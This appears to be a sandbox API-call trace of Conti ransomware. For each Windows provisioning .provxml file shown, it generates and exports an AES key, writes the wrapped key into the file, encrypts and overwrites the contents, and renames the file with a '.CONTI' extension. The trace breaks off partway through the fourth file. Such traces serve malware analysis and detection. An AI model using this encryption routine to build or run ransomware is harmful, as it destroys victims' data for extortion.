	[0113.316] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\58__connections_cellular_vivo (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.316] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\58__connections_cellular_vivo (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0113.316] GetLastError () returned 0x0
	[0113.316] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=831) returned 1
	[0113.316] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x33f
	[0113.316] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.316] SetEndOfFile (hFile=0x320) returned 1
	[0113.316] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.316] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.317] WriteFile (in: hFile=0x320, lpBuffer=0x65c0e4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x65c0e4c*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.323] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.323] ReadFile (in: hFile=0x320, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x33f, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x33f, lpOverlapped=0x0) returned 1
	[0113.323] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x33f, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x340) returned 1
	[0113.323] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.323] WriteFile (in: hFile=0x320, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x340, lpOverlapped=0x0) returned 1
	[0113.323] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.323] WriteFile (in: hFile=0x320, lpBuffer=0x65c0e40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x65c0e40*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0113.323] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.323] CloseHandle (hObject=0x320) returned 1
	[0113.323] GetProcessHeap () returned 0x1720000
	[0113.323] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.323] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml"
	[0113.323] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.323] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\58__connections_cellular_vivo (brazil)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\58__connections_cellular_vivo (brazil)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.327] GetProcessHeap () returned 0x1720000
	[0113.327] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.327] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0113.327] GetProcessHeap () returned 0x1720000
	[0113.327] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ba8a8 | out: hHeap=0x1720000) returned 1
	[0113.327] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0113.327] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65bf530 | out: phKey=0x65bf530*=0x17c77f0) returned 1
	[0113.327] CryptExportKey (in: hKey=0x17c77f0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bf534, pdwDataLen=0x393fdd4 | out: pbData=0x65bf534*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0113.328] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\591__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.328] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\591__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0113.328] GetLastError () returned 0x0
	[0113.328] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=704) returned 1
	[0113.328] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c0
	[0113.329] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.329] SetEndOfFile (hFile=0x320) returned 1
	[0113.329] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.329] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.329] WriteFile (in: hFile=0x320, lpBuffer=0x65bf534*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x65bf534*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.335] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.335] ReadFile (in: hFile=0x320, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x2c0, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x2c0, lpOverlapped=0x0) returned 1
	[0113.336] CryptEncrypt (in: hKey=0x17c77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2c0, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2d0) returned 1
	[0113.336] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.336] WriteFile (in: hFile=0x320, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.336] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.336] WriteFile (in: hFile=0x320, lpBuffer=0x65bf528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x65bf528*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0113.336] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.336] CloseHandle (hObject=0x320) returned 1
	[0113.336] GetProcessHeap () returned 0x1720000
	[0113.336] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.336] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.336] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.336] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\591__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\591__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.337] GetProcessHeap () returned 0x1720000
	[0113.337] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.337] CryptDestroyKey (hKey=0x17c77f0) returned 1
	[0113.337] GetProcessHeap () returned 0x1720000
	[0113.337] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bbbe0 | out: hHeap=0x1720000) returned 1
	[0113.337] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0113.337] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65be0a8 | out: phKey=0x65be0a8*=0x17c77f0) returned 1
	[0113.337] CryptExportKey (in: hKey=0x17c77f0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65be0ac, pdwDataLen=0x393fdd4 | out: pbData=0x65be0ac*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0113.338] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\593__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.338] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\593__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0113.339] GetLastError () returned 0x0
	[0113.339] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=706) returned 1
	[0113.339] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c2
	[0113.339] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.339] SetEndOfFile (hFile=0x320) returned 1
	[0113.339] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.339] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.340] WriteFile (in: hFile=0x320, lpBuffer=0x65be0ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x65be0ac*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.341] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.341] ReadFile (in: hFile=0x320, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x2c2, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x2c2, lpOverlapped=0x0) returned 1
	[0113.341] CryptEncrypt (in: hKey=0x17c77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2c2, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2d0) returned 1
	[0113.341] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.341] WriteFile (in: hFile=0x320, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.341] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.341] WriteFile (in: hFile=0x320, lpBuffer=0x65be0a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x65be0a0*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0113.341] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.342] CloseHandle (hObject=0x320) returned 1
	[0113.342] GetProcessHeap () returned 0x1720000
	[0113.342] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.342] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.342] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.342] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\593__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\593__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.343] GetProcessHeap () returned 0x1720000
	[0113.343] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.343] CryptDestroyKey (hKey=0x17c77f0) returned 1
	[0113.343] GetProcessHeap () returned 0x1720000
	[0113.343] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bc390 | out: hHeap=0x1720000) returned 1
	[0113.343] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0113.343] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65bee58 | out: phKey=0x65bee58*=0x17c7bf0) returned 1
	[0113.343] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bee5c, pdwDataLen=0x393fdd4 | out: pbData=0x65bee5c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0113.344] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\594__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.344] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\594__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0113.344] GetLastError () returned 0x0
	[0113.344] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=707) returned 1
	[0113.344] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c3
	[0113.344] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.344] SetEndOfFile (hFile=0x320) returned 1
	[0113.344] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.344] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.344] WriteFile (in: hFile=0x320, lpBuffer=0x65bee5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x65bee5c*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.350] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.350] ReadFile (in: hFile=0x320, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x2c3, lpOverlapped=0x0) returned 1
	[0113.350] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2c3, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2d0) returned 1
	[0113.350] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.351] WriteFile (in: hFile=0x320, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.351] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.351] WriteFile (in: hFile=0x320, lpBuffer=0x65bee50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x65bee50*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0113.351] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.351] CloseHandle (hObject=0x320) returned 1
	[0113.351] GetProcessHeap () returned 0x1720000
	[0113.351] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.351] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
